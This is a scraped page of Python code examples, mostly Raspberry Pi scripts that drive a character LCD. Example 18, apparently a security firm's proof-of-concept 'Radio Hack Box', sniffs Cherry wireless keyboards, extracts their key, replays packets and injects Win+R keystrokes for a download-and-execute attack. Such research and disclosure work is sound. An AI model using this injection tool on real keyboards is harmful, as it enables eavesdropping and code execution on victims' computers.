Ejemplo n.º 1
0
class LCD_Display(object):
    """docstring for LCD_Display
	This class is for the 16 x 2 LCD component
	"""
    def __init__(self,
                 cols=16,
                 rows=2,
                 rs=37,
                 e=35,
                 data_pins=[33, 31, 29, 23],
                 mode='BOARD'):
        GPIO.setwarnings(False)
        if mode == 'BCM':
            self.lcd = CharLCD(cols=cols,
                               rows=rows,
                               pin_rs=rs,
                               pin_e=e,
                               pins_data=data_pins,
                               numbering_mode=GPIO.BCM)
        else:
            self.lcd = CharLCD(cols=cols,
                               rows=rows,
                               pin_rs=rs,
                               pin_e=e,
                               pins_data=data_pins,
                               numbering_mode=GPIO.BOARD)

    def display_string(self, string, clear='N', pos=(0, 0)):
        if clear == 'Y':
            self.lcd.clear()
        else:
            pass
        self.lcd.cursor_pos = pos
        self.lcd.write_string(string)
Ejemplo n.º 2
0
class PiLcdDisplay(ScreenDisplay):

    def __init__(self, lines=1, line_length=5, update_interval=1):
        super(PiLcdDisplay, self).__init__(lines, line_length, update_interval)
        self.timer = None

    def start(self):
        ''' Start the LCD display update loop '''
        self.lcd = CharLCD(pin_rs=26, pin_e=24, pins_data=[22,18,16,12])
        self.lcd.clear()
        self.next_call = time.time()
        self.update()

    def update(self):
        ''' LCD display update loop '''
        super(PiLcdDisplay, self).update()

        self.update_lcd()

        self.next_call = self.next_call + self.update_interval
        self.timer = threading.Timer(self.next_call - time.time(), self.update)
        self.timer.start()

    def update_lcd(self):
        ''' Update the LCD display '''
        for i in range(self.lines):
            self.lcd.cursor_pos = (i, 0)
            self.lcd.write_string(self.displayed_info[i])

    def close(self):
        ''' Close the LCD display '''
        if self.timer != None:
            self.timer.cancel()
Ejemplo n.º 3
0
class LCD:
  def __init__(self):
    GPIO.setwarnings(False)
    self.lcd = CharLCD(numbering_mode=GPIO.BOARD, cols=16, rows=2, pin_rs=40, pin_e=38, pins_data=[36, 37, 35, 33])
    self.lcd.cursor_mode = 'hide'
    self.lcd.create_char(0, full_square)

  def write(self, code, seconds_remaining):
    '''
    Keyword arguments:
    code -- the code to be displayed
    seconds_remaining -- the seconds remaining (max 16)
    '''
    self.clear()

    # Center code horizontally
    LCD_WIDTH = 16
    lcd_y = (LCD_WIDTH - len(str(code))) // 2
    self.lcd.cursor_pos = (0, lcd_y)
  
    self.lcd.write_string(code)
    self.lcd.cursor_pos = (1, 0)
    self.lcd.write_string(chr(0) * seconds_remaining)
  
  def clear(self):
    self.lcd.clear()
Ejemplo n.º 4
0
class Display:
    def setup(self):
        GPIO.setmode(GPIO.BCM)
        self.lcd = CharLCD(cols=16,
                           rows=2,
                           pin_rs=6,
                           pin_e=5,
                           pins_data=[13, 19, 26, 1],
                           numbering_mode=GPIO.BCM)
        self.lcd.cursor_mode = 'hide'
        print("Display setup finished")

    def clear(self):
        self.lcd.clear()
        return

    def show_text(self, text, line=1):
        if line == 1:
            self.lcd.cursor_pos = (0, 0)
            self.lcd.write_string("                ")
            self.lcd.cursor_pos = (0, 0)
            self.lcd.write_string(text)

        elif line == 2:
            self.lcd.cursor_pos = (1, 0)
            self.lcd.write_string("                ")
            self.lcd.cursor_pos = (1, 0)
            self.lcd.write_string(text)
Ejemplo n.º 5
0
def main():
    lcd = CharLCD(numbering_mode=GPIO.BOARD,
                  cols=16,
                  rows=2,
                  pin_rs=37,
                  pin_e=35,
                  pins_data=[33, 31, 29, 23])
    lcd.clear()
    lcd.cursor_pos = (0, 0)
    lcd.write_string(u'Scannez un tube')
    code = ''
    GPIO.setup(3, GPIO.IN)
    GPIO.add_event_detect(3, GPIO.BOTH, callback=close)

    while (True):
        inkey = Getch()
        k = inkey()

        if ord(k) == 27:
            GPIO.cleanup()
            call(['shutdown', 'now'])
            #quit()
        elif k == '\r':
            lcd.clear()
            lcd.cursor_pos = (0, 0)
            lcd.write_string(code)
            sleep(5)
            code = ''
            lcd.cursor_pos = (0, 0)
            lcd.write_string(u'Scannez un tube')

        elif k != '':
            code += k
Ejemplo n.º 6
0
class PiLcdDisplay(ScreenDisplay):
    def __init__(self, lines=1, line_length=5, update_interval=1):
        super(PiLcdDisplay, self).__init__(lines, line_length, update_interval)
        self.timer = None

    def start(self):
        ''' Start the LCD display update loop '''
        self.lcd = CharLCD(pin_rs=26, pin_e=24, pins_data=[22, 18, 16, 12])
        self.lcd.clear()
        self.next_call = time.time()
        self.update()

    def update(self):
        ''' LCD display update loop '''
        super(PiLcdDisplay, self).update()

        self.update_lcd()

        self.next_call = self.next_call + self.update_interval
        self.timer = threading.Timer(self.next_call - time.time(), self.update)
        self.timer.start()

    def update_lcd(self):
        ''' Update the LCD display '''
        for i in range(self.lines):
            self.lcd.cursor_pos = (i, 0)
            self.lcd.write_string(self.displayed_info[i])

    def close(self):
        ''' Close the LCD display '''
        if self.timer != None:
            self.timer.cancel()
def main(BUS_STOP_CODE):
    lcd = CharLCD(cols=16,
                  rows=2,
                  pin_rs=37,
                  pin_e=35,
                  pins_data=[33, 31, 29, 23],
                  numbering_mode=GPIO.BOARD)

    bus_api = DatamallApiClient()

    while True:
        buses = bus_api.bus_at_busstop_code(BUS_STOP_CODE)
        for bus_num, bus_timings in buses.items():
            display_string = ''
            if len(bus_timings) == 0:
                display_string = f"Bus {bus_num}: NOT\r\nAVAILABLE"
            if len(bus_timings) == 1:
                display_string = f"Bus {bus_num}: {bus_timings[0]}\r\nLAST BUS"
            if len(bus_timings) == 2:
                display_string = f"Bus {bus_num}: {bus_timings[0]}\r\n{bus_timings[1]}"
            if len(bus_timings) == 3:
                display_string = f"Bus {bus_num}: {bus_timings[0]}\r\n{bus_timings[1]}, {bus_timings[1]}"

            #print(display_string)
            lcd.clear()
            time.sleep(1)  # to make change in info visible in screen
            lcd.write_string(display_string)
            time.sleep(5)

        time.sleep(
            5
        )  # in case of no items, do not send request in loop so fast to DatamallApi.
Ejemplo n.º 8
0
def write_to_lcd(ifname):

    lcd = CharLCD()

    lcd.clear()
    lcd.home()
    lcd.write_string(get_hostname())
    lcd.cursor_pos = (1, 0)
    lcd.write_string(get_device_type())
    lcd.cursor_pos = (2, 0)
    lcd.write_string(get_ip_address(ifname))
class Display(SensorListener, SwitchListener):
    sensor_names: List[str]
    switch_names: List[str]

    def __post_init__(self) -> None:
        self.logger = logging.getLogger(__name__)

        self.logger.info("Initiating LCD")
        # Use compatibility mode to avoid driver timing issues https://github.com/dbrgn/RPLCD/issues/70
        self.lcd = CharLCD(compat_mode=True,
                           numbering_mode=GPIO.BCM,
                           cols=16,
                           rows=2,
                           pin_rs=22,
                           pin_e=17,
                           pins_data=[26, 19, 13, 6])
        self.lcd.cursor_mode = 'hide'
        self.lcd.clear()

        self.write_lock = Lock()

    def handle_switch(self, name: str, on: bool) -> None:
        if name not in self.switch_names:
            self.logger.warning("'%s' is not configured to be printed to lcd",
                                name)
            return

        x = floor(self.switch_names.index(name) / 2)
        y = self.switch_names.index(name) % 2

        self.__write(14 + x, y, name[0].upper() if on else " ")

    def handle_temperature(self, name: str, temperature: float,
                           avg_temperature: float) -> None:
        if name not in self.sensor_names:
            self.logger.warning(
                "Device '%s' is not configured to be printed to LCD", name)
            return

        y = floor(self.sensor_names.index(name) / 2)
        x = (self.sensor_names.index(name) - 2 * y) * 7

        self.__write(x, y, "%s %s" % (name[0].upper(), round(temperature, 1)))

    def __write(self, x, y, text) -> None:
        self.logger.debug("Writing '%s' to LCD at (%s,%s)", text, x, y)
        with self.write_lock:
            self.lcd.cursor_pos = (y, x)
            self.lcd.write_string(text)

    def shutdown(self) -> None:
        self.logger.info("Shutting down LCD")
        self.lcd.close(clear=True)
Ejemplo n.º 10
0
class lcd:
	
	def __init__(self,cols=16,rows=2):
		self.cols,self.rows= cols,rows
		self.blink=False
		self.data=None
		self.data_name=None
		self.time_last_packet=0
		self.recieve_timeout=None
		GPIO.setmode(GPIO.BCM)
		self.screen = CharLCD(numbering_mode=GPIO.BCM,cols=self.cols, rows=self.rows, pin_rs=16, pin_e=18, pins_data=[23, 24, 2, 3])
	
	def prompt(self,text,text2=""):
		self.screen.clear()
		self.write(text)
		self.screen.cursor_pos = (1,0)
		self.write(text2)
	def write(self,text):
		print(self.screen.cursor_pos,text)
		self.screen.write_string(text[:self.cols])
		
	
	def format_number(self,number,digits):
		output=digit(number,digits)
		if len(output)>digits:
			output="9"
			while(len(output)<digits):
				output+="9"
		return output
	
	def recieve_packets(self):
		self.screen.clear()

		self.write("R LP:"+self.format_number(time()-self.time_last_packet,2)+"s")
		if(self.recieve_timeout!=None):
			remaining_time=self.recieve_timeout-time()
			self.cursor_pos=(0,9)
			self.write("TO:"+self.format_number(remaining_time,3)+"s")
		
		if self.data_name!=None and self.data!=None:
			self.screen.cursor_pos = (1,0)
			self.write(self.data_name+": ")
			data_digits=self.cols-len(self.data_name)
			data=self.format_number(self.data,data_digits)
			self.screen.cursor_pos = (1,self.cols-data_digits)
			self.write(data)
		if self.blink:
			self.screen.cursor_pos = (0,1)
			self.write(".")
			self.blink=False
		else:
			self.blink=True
Ejemplo n.º 11
0
def LCD_screen():
    while True:
        lcd = CharLCD(cols=16,
                      rows=2,
                      pin_rs=19,
                      pin_e=26,
                      numbering_mode=GPIO.BCM,
                      pins_data=[17, 27, 22, 5, 12, 25, 24, 23])
        string = (subprocess.check_output(["hostname",
                                           "-I"]).split()[1]).decode('ascii')
        lcd.write_string(f'{string}')
        time.sleep(30)
        lcd.clear()
Ejemplo n.º 12
0
def lcd_init():
    global lcd
    pin_rs = 21  # Board: 40
    pin_e = 20  # Board: 38
    pins_data = [16, 26, 19, 13]  # Board: 36, 37, 35, 33
    lcd = CharLCD(numbering_mode=GPIO.BCM,
                  cols=16,
                  rows=2,
                  pin_rs=pin_rs,
                  pin_rw=None,
                  pin_e=pin_e,
                  pins_data=pins_data)
    lcd.clear()
Ejemplo n.º 13
0
class Lcd:
    def __init__(self, rs_pin, e_pin, data_pins):
        GPIO.setwarnings(False)
        self.lcd = CharLCD(cols=16, rows=2, pin_rs=rs_pin, pin_e=e_pin, \
            pins_data=data_pins , numbering_mode=GPIO.BOARD)
        self.lcd.clear()
        self.lock = threading.Lock()

    def write(self, lines):
        with self.lock:
            self.lcd.clear()
            self.lcd.write_string(lines[0][:16].upper())
            if len(lines) == 2:
                self.lcd.cursor_pos = (1, 0)
                self.lcd.write_string(lines[1][:16].upper())
Ejemplo n.º 14
0
def main():
    # initialize lcd screen
    lcd = CharLCD(cols=16,
                  rows=2,
                  pin_rs=37,
                  pin_e=35,
                  pins_data=[33, 31, 29, 23])

    # DHT22 sensor is only accurate to +/- 2% humidity and +/- 0.5 celsius
    # Poll 10 times and calculate median to get more accurate value
    templist = []
    humidlist = []

    lcd.cursor_pos = (0, 0)
    lcd.write_string("Polling...")
    lcd.cursor_pos = (1, 0)
    bar = "[----------]"
    lcd.write_string(bar)
    lcd.clear()

    for i in range(1, 11):
        data = poll()

        lcd.cursor_pos = (0, 0)
        lcd.write_string("Polling....")
        lcd.cursor_pos = (1, 0)

        bar = list(bar)
        bar[i] = '#'
        bar = ''.join(bar)
        lcd.write_string(bar)

        # Don't poll more often than every 2 seconds
        sleep(3)
        lcd.clear()
        temp = int(round(data[0]))
        humid = int(round(data[1]))
        templist.append(temp)
        humidlist.append(humid)

    lcd.clear()

    # Calculate median value
    temp = (sorted(templist))[5]
    humid = (sorted(humidlist))[5]

    # Display results to LCD
    display(lcd, temp, humid)

    # Write data to CSV file for later analysis
    write_data(temp, humid)

    # Clears the screen / resets cursor position and closes connection
    lcd.clear()
    lcd.close(clear=True)
Ejemplo n.º 15
0
def main():

    iterations = 300
    interval = 0.1
    print("starting {} second collection".format(iterations * interval))

    sensor1 = SonicSensor(trig_pin=18, echo_pin=24, numbering_mode=GPIO.BCM)
    sensor2 = SonicSensor(trig_pin=16, echo_pin=12, numbering_mode=GPIO.BCM)
    lcd = CharLCD(numbering_mode=GPIO.BCM,
                  cols=16,
                  rows=2,
                  pin_rs=21,
                  pin_e=20,
                  pins_data=[5, 7, 8, 25, 26, 19, 13, 6])

    results1 = []
    results2 = []

    try:
        for i in range(iterations):
            dist1 = sensor1.get_distance()
            dist2 = sensor2.get_distance()

            results1.append(dist1)
            results2.append(dist2)

            lcd.write_string(u'%.1f cm' % dist2)
            print(u'%.1f cm' % dist2)
            lcd.write_string(u'\n%.1f cm' % dist1)
            print(u'%.1f cm' % dist1)

            time.sleep(interval)
            lcd.clear()

    except KeyboardInterrupt:
        pass

    GPIO.cleanup()

    with open('results.pickle', 'wb') as file:
        pickle.dump((results1, results2), file)
Ejemplo n.º 16
0
class Display():
    def __init__(self, *args, **kwargs):
        self.lcd = CharLCD(*args, **kwargs)

    def displayCode(self, code):
        """ displays the code being typed.
        code is a list of numbers
        """
        strCode = ""
        for num in code:
            strCode += str(num)
        self.clear()
        self.lcd.write_string(strCode)

    def writeMessage(self, msg):
        """ write a message to the LCD """
        self.clear()
        self.lcd.write_string(msg)

    def clear(self):
        """ clears the LCD """
        self.lcd.clear()
Ejemplo n.º 17
0
def main():
    try:
        rotary = RotaryEncoder(dt_pin=3, clk_pin=4)
        rotary.start()
        button = Button(pin=2)
        lcd = CharLCD(numbering_mode=GPIO.BCM,
                      cols=16,
                      rows=2,
                      pin_rs=21,
                      pin_e=20,
                      pins_data=[5, 7, 8, 25, 26, 19, 13, 6])
        while True:
            if button.pressed():
                break
            lcd.clear()
            lcd.write_string(u'{}'.format(rotary.get_count()))
            time.sleep(0.1)

    except KeyboardInterrupt:  # Ctrl-C to terminate the program
        pass

    print("stopped at {}".format(rotary.get_count()))
    rotary.stop()
    GPIO.cleanup()
Ejemplo n.º 18
0
class RadioHackBox():
    """Radio Hack Box"""

    def __init__(self):
        """Initialize the nRF24 radio and the Raspberry Pi"""

        self.state = IDLE                            # current state
        self.lcd = None                              # LCD
        self.radio = None                            # nRF24 radio
        self.address = None                          # address of Cherry keyboard (CAUTION: Reversed byte order compared to sniffer tools!)
        self.channel = 6                             # used ShockBurst channel (was 6 for all tested Cherry keyboards)
        self.payloads = []                           # list of sniffed payloads
        self.kbd = None                              # keyboard for keystroke injection attacks

        try:
            # disable GPIO warnings
            GPIO.setwarnings(False)

            # initialize LCD
            self.lcd = CharLCD(cols=16, rows=2, pin_rs=15, pin_rw=18, pin_e=16, pins_data=[21, 22, 23, 24])
            self.lcd.clear()
            self.lcd.home()
            self.lcd.write_string(APP_NAME)
            self.lcd.cursor_pos = (1, 0)
            self.lcd.write_string(SYSS_BANNER)

            # use Raspberry Pi board pin numbers
            GPIO.setmode(GPIO.BOARD)

            # set up the GPIO pins
            GPIO.setup(RED_LED, GPIO.OUT, initial = GPIO.LOW)
            GPIO.setup(GREEN_LED, GPIO.OUT, initial = GPIO.LOW)
            GPIO.setup(BLUE_LED, GPIO.OUT, initial = GPIO.LOW)
            GPIO.setup(RECORD_BUTTON, GPIO.IN, pull_up_down = GPIO.PUD_DOWN)
            GPIO.setup(REPLAY_BUTTON, GPIO.IN, pull_up_down = GPIO.PUD_DOWN)
            GPIO.setup(ATTACK_BUTTON, GPIO.IN, pull_up_down = GPIO.PUD_DOWN)
            GPIO.setup(SCAN_BUTTON, GPIO.IN, pull_up_down = GPIO.PUD_DOWN)

            # set callcack functions
            GPIO.add_event_detect(RECORD_BUTTON, GPIO.RISING, callback = self.buttonCallback, bouncetime = 250)
            GPIO.add_event_detect(REPLAY_BUTTON, GPIO.RISING, callback = self.buttonCallback, bouncetime = 250)
            GPIO.add_event_detect(ATTACK_BUTTON, GPIO.RISING, callback = self.buttonCallback, bouncetime = 250)
            GPIO.add_event_detect(SCAN_BUTTON, GPIO.RISING, callback = self.buttonCallback, bouncetime = 250)

            # initialize radio
            self.radio = nrf24.nrf24()

            # enable LNA
            self.radio.enable_lna()

            # show startup info for some time with blinkenlights
            self.blinkenlights()

            # start scanning mode
            self.setState(SCAN)
        except:
            # error when initializing Radio Hack Box
            self.lcd.clear()
            self.lcd.home()
            self.lcd.write_string(u"Error: 0xDEAD")
            self.lcd.cursor_pos = (1, 0)
            self.lcd.write_string(u"Please RTFM!")


    def blinkenlights(self):
        """Blinkenlights"""

        for i in range(10):
            GPIO.output(RED_LED, GPIO.HIGH)
            GPIO.output(GREEN_LED, GPIO.HIGH)
            GPIO.output(BLUE_LED, GPIO.HIGH)
            sleep(0.1)
            GPIO.output(RED_LED, GPIO.LOW)
            GPIO.output(GREEN_LED, GPIO.LOW)
            GPIO.output(BLUE_LED, GPIO.LOW)
            sleep(0.1)


    def setState(self, newState):
        """Set state"""

        # set LCD content
        self.lcd.clear()
        self.lcd.home()
        self.lcd.write_string(APP_NAME)
        self.lcd.cursor_pos = (1, 0)

        if newState == RECORD:
            # set RECORD state
            self.state = RECORD

            # set LEDs
            GPIO.output(RED_LED, GPIO.HIGH)
            GPIO.output(GREEN_LED, GPIO.LOW)
            GPIO.output(BLUE_LED, GPIO.LOW)

            # set LCD content
            self.lcd.write_string(u"Recording ...")

        elif newState == REPLAY:
            # set REPLAY state
            self.state = REPLAY

            # set LEDs
            GPIO.output(RED_LED, GPIO.LOW)
            GPIO.output(GREEN_LED, GPIO.HIGH)
            GPIO.output(BLUE_LED, GPIO.LOW)

            # set LCD content
            self.lcd.write_string(u"Replaying ...")

        elif newState == SCAN:
            # set SCAN state
            self.state = SCAN

            # set LEDs
            GPIO.output(RED_LED, GPIO.LOW)
            GPIO.output(GREEN_LED, GPIO.LOW)
            GPIO.output(BLUE_LED, GPIO.HIGH)

            # set LCD content
            self.lcd.write_string(u"Scanning ...")

        elif newState == ATTACK:
            # set ATTACK state
            self.state = ATTACK

            # set LEDs
            GPIO.output(RED_LED, GPIO.LOW)
            GPIO.output(GREEN_LED, GPIO.HIGH)
            GPIO.output(BLUE_LED, GPIO.LOW)

            # set LCD content
            self.lcd.write_string(u"Attacking ...")

        elif newState == SHUTDOWN:
            # set SHUTDOWN state
            self.state = SHUTDOWN

            # set LEDs
            GPIO.output(RED_LED, GPIO.LOW)
            GPIO.output(GREEN_LED, GPIO.LOW)
            GPIO.output(BLUE_LED, GPIO.LOW)

            # set LCD content
            self.lcd.write_string(u"Shutdown ...")

        else:
            # set IDLE state
            self.state = IDLE

            # set LEDs
            GPIO.output(RED_LED, GPIO.LOW)
            GPIO.output(GREEN_LED, GPIO.LOW)
            GPIO.output(BLUE_LED, GPIO.LOW)

            # set LCD content
            self.lcd.write_string(SYSS_BANNER)


    def buttonCallback(self, channel):
        """Callback function for user input (pressed buttons)"""

        # record button state transitions
        if channel == RECORD_BUTTON:
            # if the current state is IDLE change it to RECORD
            if self.state == IDLE:
                # set RECORD state
                self.setState(RECORD)

                # empty payloads list
                self.payloads = []

            # if the current state is RECORD change it to IDLE
            elif self.state == RECORD:
                # set IDLE state
                self.setState(IDLE)

        # play button state transitions
        elif channel == REPLAY_BUTTON:
            # if the current state is IDLE change it to REPLAY
            if self.state == IDLE:
                # set REPLAY state
                self.setState(REPLAY)

        # scan button state transitions
        elif channel == SCAN_BUTTON:
            # wait a short a time to see whether the record button is also
            # press in order to perform a graceful shutdown

            # remove event detection for record button
            GPIO.remove_event_detect(RECORD_BUTTON)
            chan = GPIO.wait_for_edge(RECORD_BUTTON, GPIO.RISING, timeout=1000)
            if chan != None:
                # set SHUTDOWN state
                self.setState(SHUTDOWN)

            # set callback function for record button
            GPIO.remove_event_detect(RECORD_BUTTON)
            GPIO.add_event_detect(RECORD_BUTTON, GPIO.RISING, callback = self.buttonCallback, bouncetime = 250)

            # if the current state is IDLE change it to SCAN
            if self.state == IDLE:
                # set SCAN state
                self.setState(SCAN)

        # attack button state transitions
        elif channel == ATTACK_BUTTON:
            # if the current state is IDLE change it to ATTACK
            if self.state == IDLE:
                # set ATTACK state
                self.setState(ATTACK)

        # debug output
        debug("State: {0}".format(self.state))


    def unique_everseen(self, seq):
        """Remove duplicates from a list while preserving the item order"""
        seen = set()
        return [x for x in seq if str(x) not in seen and not seen.add(str(x))]


    def run(self):
        # main loop
        try:
            while True:
                if self.state == RECORD:
                    # info output
                    info("Start RECORD mode")

                    # receive payload
                    value = self.radio.receive_payload()

                    if value[0] == 0:
                        # split the payload from the status byte
                        payload = value[1:]

                        # add payload to list
                        self.payloads.append(payload)

                        # info output, show packet payload
                        info('Received payload: {0}'.format(hexlify(payload)))

                elif self.state == REPLAY:
                    # info output
                    info("Start REPLAY mode")

                    # remove duplicate payloads (retransmissions)
                    payloadList = self.unique_everseen(self.payloads)

                    # replay all payloads
                    for p in payloadList:
                        # transmit payload
                        self.radio.transmit_payload(p.tostring())

                        # info output
                        info('Sent payload: {0}'.format(hexlify(p)))


                    # set IDLE state after playback
                    sleep(0.5)                           # delay for LCD
                    self.setState(IDLE)

                elif self.state == SCAN:
                    # info output
                    info("Start SCAN mode")

                    # put the radio in promiscuous mode
                    self.radio.enter_promiscuous_mode(PREFIX_ADDRESS)

                    # define channels for scan mode
                    channels = [6]

                    # set initial channel
                    self.radio.set_channel(channels[0])

                    # sweep through the defined channels and decode ESB packets in pseudo-promiscuous mode
                    last_tune = time()
                    channel_index = 0
                    while True:
                        # increment the channel
                        if len(channels) > 1 and time() - last_tune > DWELL_TIME:
                            channel_index = (channel_index + 1) % (len(channels))
                            self.radio.set_channel(channels[channel_index])
                            last_tune = time()

                        # receive payloads
                        value = self.radio.receive_payload()
                        if len(value) >= 5:
                            # split the address and payload
                            address, payload = value[0:5], value[5:]

                            # convert address to string and reverse byte order
                            converted_address = address[::-1].tostring()

                            # check if the address most probably belongs to a Cherry keyboard
                            if ord(converted_address[0]) in range(0x31, 0x3f):
                                # first fit strategy to find a Cherry keyboard
                                self.address = converted_address
                                break

                    # set LCD content
                    self.lcd.clear()
                    self.lcd.home()
                    self.lcd.write_string("Found keyboard")
                    self.lcd.cursor_pos = (1, 0)
                    address_string = ':'.join('{:02X}'.format(b) for b in address)
                    self.lcd.write_string(address_string)

                    # info output
                    info("Found keyboard with address {0}".format(address_string))

                    # put the radio in sniffer mode (ESB w/o auto ACKs)
                    self.radio.enter_sniffer_mode(self.address)

                    last_key = 0
                    packet_count = 0
                    while True:
                        # receive payload
                        value = self.radio.receive_payload()

                        if value[0] == 0:
                            # do some time measurement
                            last_key = time()

                            # split the payload from the status byte
                            payload = value[1:]

                            # increment packet count
                            packet_count += 1

                            # show packet payload
                            info('Received payload: {0}'.format(hexlify(payload)))

                        # heuristic for having a valid release key data packet
                        if packet_count >= 4 and time() - last_key > SCAN_TIME:
                            break

                    self.radio.receive_payload()

                    # show info on LCD
                    self.lcd.cursor_pos = (1, 0)
                    self.lcd.write_string(u"Got crypto key!")

                    # info output
                    info('Got crypto key!')

                    # initialize keyboard
                    self.kbd = keyboard.CherryKeyboard(payload.tostring())
                    info('Initialize keyboard')

                    # set IDLE state after scanning
                    sleep(LCD_DELAY)                    # delay for LCD
                    self.setState(IDLE)

                elif self.state == ATTACK:
                    # info output
                    info("Start ATTACK mode")

                    if self.kbd != None:
#                        # send keystrokes for a classic PoC attack
#                        keystrokes = []
#                        keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_NONE, keyboard.KEY_NONE))
#                        keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_GUI_RIGHT, keyboard.KEY_R))
#                        keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_NONE, keyboard.KEY_NONE))
#                        keystrokes += self.kbd.getKeystrokes(u"cmd")
#                        keystrokes += self.kbd.getKeystroke(keyboard.KEY_RETURN)
#                        keystrokes += self.kbd.getKeystrokes(u"rem All your base are belong to SySS!")
#                        keystrokes += self.kbd.getKeystroke(keyboard.KEY_RETURN)

                        # send keystrokes for a classic download and execute PoC attack
                        keystrokes = []
                        keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_NONE, keyboard.KEY_NONE))
                        keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_GUI_RIGHT, keyboard.KEY_R))
                        keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_NONE, keyboard.KEY_NONE))

                        # send attack keystrokes
                        for k in keystrokes:
                            self.radio.transmit_payload(k)

                            # info output
                            info('Sent payload: {0}'.format(hexlify(k)))

                        # need small delay after WIN + R
                        sleep(0.1)

                        keystrokes = []
                        keystrokes = self.kbd.getKeystrokes(ATTACK_VECTOR)
                        keystrokes += self.kbd.getKeystroke(keyboard.KEY_RETURN)

                        # send attack keystrokes with a small delay
                        for k in keystrokes:
                            self.radio.transmit_payload(k)

                            # info output
                            info('Sent payload: {0}'.format(hexlify(k)))

                    # set IDLE state after attack
                    sleep(0.5)                          # delay for LCD
                    self.setState(IDLE)

                elif self.state == SHUTDOWN:
                    # info output
                    info("SHUTDOWN")
                    sleep(0.5)

                    # perform graceful shutdown
                    command = "/usr/bin/sudo /sbin/shutdown -h now"
                    process = subprocess.Popen(command.split(), stdout=subprocess.PIPE)
                    output = process.communicate()[0]

                    # show info on LCD
                    self.lcd.clear()
                    self.lcd.home()
                    self.lcd.write_string(APP_NAME)
                    self.lcd.cursor_pos = (1, 0)
                    self.lcd.write_string("3, 2, 1, gone.")

                    # clean GPIO pin settings
                    GPIO.cleanup()
                    exit(1)

        except KeyboardInterrupt:
            exit(1)
        finally:
            # clean up GPIO pin settings
            GPIO.cleanup()
Ejemplo n.º 19
0
                curSongInfo = mpdclient.currentsong()

                framebuffer = [
                    'MPD Playing:',
                    '',
                ]

                artist = curSongInfo['artist']
                title = curSongInfo['title']

                curSongString = artist + ' - ' + title
                curSongString = unicode(curSongString, "utf-8")
                curSongString = unidecode.unidecode(curSongString)

                loop_string(curSongString, lcd, framebuffer, 1, 16)

            status = 'main'


if __name__ == '__main__':
    try:
        main()
    except KeyboardInterrupt:
        pass
    finally:
        lcd.clear()
        GPIO.cleanup()

atexit.register(lcd.clear())
atexit.register(GPIO.cleanup())
Ejemplo n.º 20
0
lcd = CharLCD(cols=20, rows=4,
                pin_rw=None,
                pin_rs=21,
                pin_e=20,
                pins_data=[18,23,24,25],
				#d4, d5, d6, d7
                numbering_mode=GPIO.BCM)
lcd.cursor_mode = CursorMode.blink
my_cmd = ""
my_username = getpass.getuser()
my_perl = ""
lcd.write_string("Press ENTER for LCD terminal")
print "\nPress ENTER for LCD terminal\n";
my_wait = subprocess.check_output("/etc/wait.pl ",shell=True)
if my_wait == "Timeout":
	lcd.clear()
	my_name = subprocess.check_output("hostname -A",shell=True)
	lcd.cursor_pos = (0,0)
	lcd.write_string(my_name)
	my_ip = subprocess.check_output("hostname -I",shell=True)
	lcd.cursor_pos = (2,0)
	lcd.write_string(my_ip)
	lcd.cursor_mode = CursorMode.hide
	exit(0)
while my_perl != "Success!":
	lcd.clear()
	my_name = subprocess.check_output("hostname -A",shell=True)
	lcd.write_string(my_name)
	lcd.cursor_pos = (1,0)
	my_ip = subprocess.check_output("hostname -I",shell=True)
	lcd.write_string(my_ip)
Ejemplo n.º 21
0
class CVProcessor:
    F_SCALE = 1
    output_pin = 4  # PITIDO O LED DE SIGNAL
    output_pin_puerta = 27  # PITIDO O LED DE SIGNAL
    THRESHOLD_RECOGNITION = 0.425
    THRESHOLD_DETECTION = 0.3
    INTERPOLATION_TYPE = cv2.INTER_CUBIC
    WIDTH = 1080
    HEIGHT = 1080
    MIN_SIZE_ALLOWED = 120
    REBOOT_TIME_GAP = 5
    REBOOT_TIME_PUERTA = 5 * 60
    OFFSET_BBOX_WIDTH = 1  #.15#1.25
    OFFSET_BBOX_HEIGHT_UP = 1  #.15#1.5
    OFFSET_BBOX_HEIGHT_DOWN = 1  #.15#1.3
    SAME_NAME_REQUIRED_COUNT = 1
    SAME_NAME_REQUIRED_COUNT_UNKNOWN = 12
    tiny = True
    iou_threshold = 0.2
    confidence_threshold = 0.3
    VARIANCE_OF_LAPLACIAN_THRESHOLD = 100  # HD IMAGES HAS MORE THAN 100 OF BLUR VALUE
    UNKNOWN_NAME = "Procesando"
    PATH_RESULTS = 'results'
    GPIO.setmode(GPIO.BCM)
    lista_clases = ['car', 'motorcycle', 'bus', 'train', 'truck']
    lcd = CharLCD(cols=16,
                  rows=2,
                  pin_rs=11,
                  pin_e=5,
                  pins_data=[6, 13, 19, 26],
                  numbering_mode=GPIO.BCM)
    logger = Logger("CVProcessor")

    def __init__(self):
        CVProcessor.logger.info("Loading")
        if not os.path.exists(CVProcessor.PATH_RESULTS):
            os.mkdir(CVProcessor.PATH_RESULTS)
        if not os.path.exists(CVProcessor.PATH_RESULTS + '/Desconocido'):
            os.mkdir(CVProcessor.PATH_RESULTS + '/Desconocido')
        if not os.path.exists(CVProcessor.PATH_RESULTS + '/Reconocido'):
            os.mkdir(CVProcessor.PATH_RESULTS + '/Reconocido')
        if not os.path.exists(CVProcessor.PATH_RESULTS + '/Reconocido/par'):
            os.mkdir(CVProcessor.PATH_RESULTS + '/Reconocido/par')
        if not os.path.exists(CVProcessor.PATH_RESULTS + '/Reconocido/impar'):
            os.mkdir(CVProcessor.PATH_RESULTS + '/Reconocido/impar')
        if not os.path.exists(CVProcessor.PATH_RESULTS +
                              '/Reconocido/par/legal'):
            os.mkdir(CVProcessor.PATH_RESULTS + '/Reconocido/par/legal')
        if not os.path.exists(CVProcessor.PATH_RESULTS +
                              '/Reconocido/impar/legal'):
            os.mkdir(CVProcessor.PATH_RESULTS + '/Reconocido/impar/legal')
        if not os.path.exists(CVProcessor.PATH_RESULTS +
                              '/Reconocido/par/ilegal'):
            os.mkdir(CVProcessor.PATH_RESULTS + '/Reconocido/par/ilegal')
        if not os.path.exists(CVProcessor.PATH_RESULTS +
                              '/Reconocido/impar/ilegal'):
            os.mkdir(CVProcessor.PATH_RESULTS + '/Reconocido/impar/ilegal')
        GPIO.setup(self.output_pin, GPIO.OUT, initial=GPIO.LOW)
